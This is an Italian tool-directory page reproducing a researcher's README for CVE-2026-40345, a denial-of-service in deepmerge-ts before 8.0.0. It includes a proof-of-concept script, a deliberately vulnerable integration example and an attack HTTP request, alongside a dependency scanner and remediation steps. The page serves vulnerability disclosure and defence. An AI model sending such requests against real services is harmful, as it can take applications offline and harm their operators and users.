Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40345 — Riproduce un denial-of-service per esaurimento dello stack in deepmerge-ts precedente alla 8.0.0, documenta lo sfruttamento e include uno scanner per gli intervalli di dipendenze vulnerabili. | Kitploit
Strumenti/GitHubGitHub/jvr2022/cve-2026-40345
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebSicurezza della Supply Chain
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

Riproduce un denial-of-service per esaurimento dello stack in deepmerge-ts precedente alla 8.0.0, documenta lo sfruttamento e include uno scanner per gli intervalli di dipendenze vulnerabili.

Vedi Repository
12 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

deepmerge-ts < 8.0.0: DoS da grafo di oggetti ricorsivo

Ho riprodotto un bug di esaurimento dello stack nelle versioni di deepmerge-ts precedenti alla 8.0.0.

La parte interessante è che il crash non richiede un enorme oggetto annidato. Deriva dall'identità degli oggetti. Se entrambi i valori da unire puntano a sé stessi attraverso la stessa proprietà, la routine di merge continua a visitare la stessa coppia finché Node.js non esaurisce lo spazio dello stack.

Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability

Perché è emerso

La maggior parte dei test di merge usa dati JSON ordinari:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

Questi dati sono aciclici. Gli oggetti JavaScript possono anche contenere riferimenti a sé stessi o a un altro oggetto nello stesso grafo. Questi casi sono facili da non notare se la suite di test usa solo fixture JSON.

Il grafo minimo che causa il fallimento è composto da due oggetti separati con lo stesso auto-riferimento:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

Cosa succede internamente

Il merge dei record scorre le chiavi enumerabili, raccoglie i valori per ogni chiave e chiama di nuovo la routine di merge per quei valori. Nelle release interessate non c'è alcun controllo dei cicli né alcuna traccia delle coppie di oggetti già viste.

La chiave self riporta l'esecuzione nello stesso stato:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

Lo stesso comportamento è raggiungibile tramite deepmergeInto, deepmergeCustom e deepmergeIntoCustom quando ricevono lo stesso tipo di grafo.

Riproduzione locale

Il pacchetto è fissato alla release affetta 7.1.6 in package.json.

root@kitploit:~
npm install
npm run poc

Il test completo è in poc.mjs. Esegue entrambe le API pubbliche in locale e cattura l'atteso RangeError così il risultato è facile da leggere.

La parte importante del PoC è:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

Output atteso:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

Il PoC restituisce successo quando viene osservato il comportamento affetto. Se il pacchetto viene aggiornato ed entrambe le chiamate terminano, stampa un risultato pulito ed esce con stato 1 perché il problema non è stato riprodotto.

Come può essere sfruttato

Non esiste un payload JSON ciclico magico. Un normale parser JSON crea un grafo aciclico, quindi questo non viene innescato semplicemente inviando un corpo JSON molto profondo a:

root@kitploit:~
deepmerge(defaults, req.body);

L'applicazione deve creare o preservare il ciclo prima di chiamare la funzione di merge. Questo può accadere nel codice di idratazione del grafo, in un deserializzatore che preserva i riferimenti, nel riutilizzo di oggetti di cache o sessione, o in logica personalizzata che collega record tra loro.

Ecco un piccolo esempio di integrazione vulnerabile. La funzione hydrate trasforma un flag controllato dall'utente in un auto-riferimento:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

Se una route HTTP chiama mergeRequest, un attaccante può inviare:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

Entrambi i lati ora contengono un riferimento self. Quando la route chiama deepmerge(left, right), la libreria segue left.self e right.self, riceve di nuovo la stessa coppia e ricorre finché V8 non lancia un'eccezione.

Un'applicazione non deve necessariamente usare questa esatta funzione hydrate. Le condizioni importanti sono:

  1. Dati controllati dall'attaccante possono influenzare un grafo di oggetti ricorsivo.
  2. Entrambi gli input di merge contengono un ciclo nello stesso percorso di proprietà.
  3. Il grafo raggiunge una delle API di merge interessate.

Se la route è pubblica e l'eccezione non viene catturata, una singola richiesta può fermare il worker Node.js. Se un supervisore di processo lo riavvia automaticamente, richieste ripetute possono mantenere il servizio in un ciclo di riavvio. Se è richiesta l'autenticazione, l'attaccante deve comunque avere accesso a quella route.

Questo è un problema di denial of service. Il bug non fornisce esecuzione di codice, accesso ai file o un modo per leggere l'input di merge di un'altra richiesta.

Perché il solo JSON non basta

Questa distinzione è importante quando si valuta un'applicazione reale. Il seguente corpo della richiesta non è di per sé un ciclo:

root@kitploit:~
{
  "self": true
}

Diventa rilevante solo se il codice dell'applicazione interpreta self: true come un riferimento all'oggetto radice, o se un altro parser ripristina i riferimenti agli oggetti. Il pacchetto dovrebbe comunque gestire il grafo risultante in sicurezza, ma la sfruttabilità remota dipende dal codice attorno al pacchetto.

Impatto

L'impatto diretto è la disponibilità, tramite esaurimento sincrono dello stack.

A seconda dell'applicazione circostante, il risultato può essere:

  • una richiesta che fallisce con un RangeError
  • un'eccezione non catturata che termina un processo worker
  • riavvii ripetuti del worker sotto un process manager
  • una coda di richieste che si accumula mentre i worker vengono riavviati
  • un servizio che diventa non disponibile quando la route può essere raggiunta ripetutamente

Non c'è alcun impatto sulla riservatezza o sull'integrità in questo problema di per sé. La gravità aumenta quando la route di merge non è autenticata, è raggiungibile da internet pubblico o viene ritentata automaticamente da un altro servizio.

Rilevamento

Ho aggiunto scanner.mjs per trovare i riferimenti alle dipendenze interessate prima di eseguire il PoC del crash. Controlla:

  • gli intervalli di dipendenza in package.json
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

Eseguilo su una directory di progetto:

root@kitploit:~
node scanner.mjs /path/to/project

Per CI o altri strumenti, usa l'output JSON:

root@kitploit:~
node scanner.mjs /path/to/project --json

Esempio di risultato per questo repository:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

Lo scanner esce con stato 1 quando trova una versione o un intervallo interessato. Gli URL Git e altre fonti non-semver vengono contrassegnati come REVIEW invece di essere trattati silenziosamente come sicuri.

Rimedio

La correzione diretta è aggiornare a deepmerge-ts >= 8.0.0 e aggiornare il lockfile.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

L'applicazione dovrebbe anche decidere come gestire l'input ricorsivo. Le opzioni ragionevoli sono:

  • rifiutare i cicli al confine dell'input
  • tracciare le coppie di oggetti visitate durante il merge
  • limitare la profondità del merge e fallire con un errore controllato
  • catturare gli errori di merge al confine della richiesta
  • monitorare le uscite dei worker e i cicli di riavvio

Catturare l'errore è utile per la stabilità del processo, ma non rimuove il denial of service sottostante se un attaccante può ripetere la richiesta. Aggiornare la dipendenza e gestire l'input ricorsivo sono le correzioni importanti.

Verifica della release corretta

Cambia la dipendenza a 8.0.1, reinstalla ed esegui lo stesso PoC:

root@kitploit:~
npm install [email protected]
npm run poc

Sulla release corretta entrambe le chiamate terminano e lo script stampa:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

Riferimenti

  • GitHub Security Advisory
  • CVE-2026-40345
  • deepmerge-ts on npm
  • CWE-674: Uncontrolled Recursion

Licenza

Il PoC e lo scanner in questo repository sono rilasciati sotto la MIT License.

Scarica lo strumento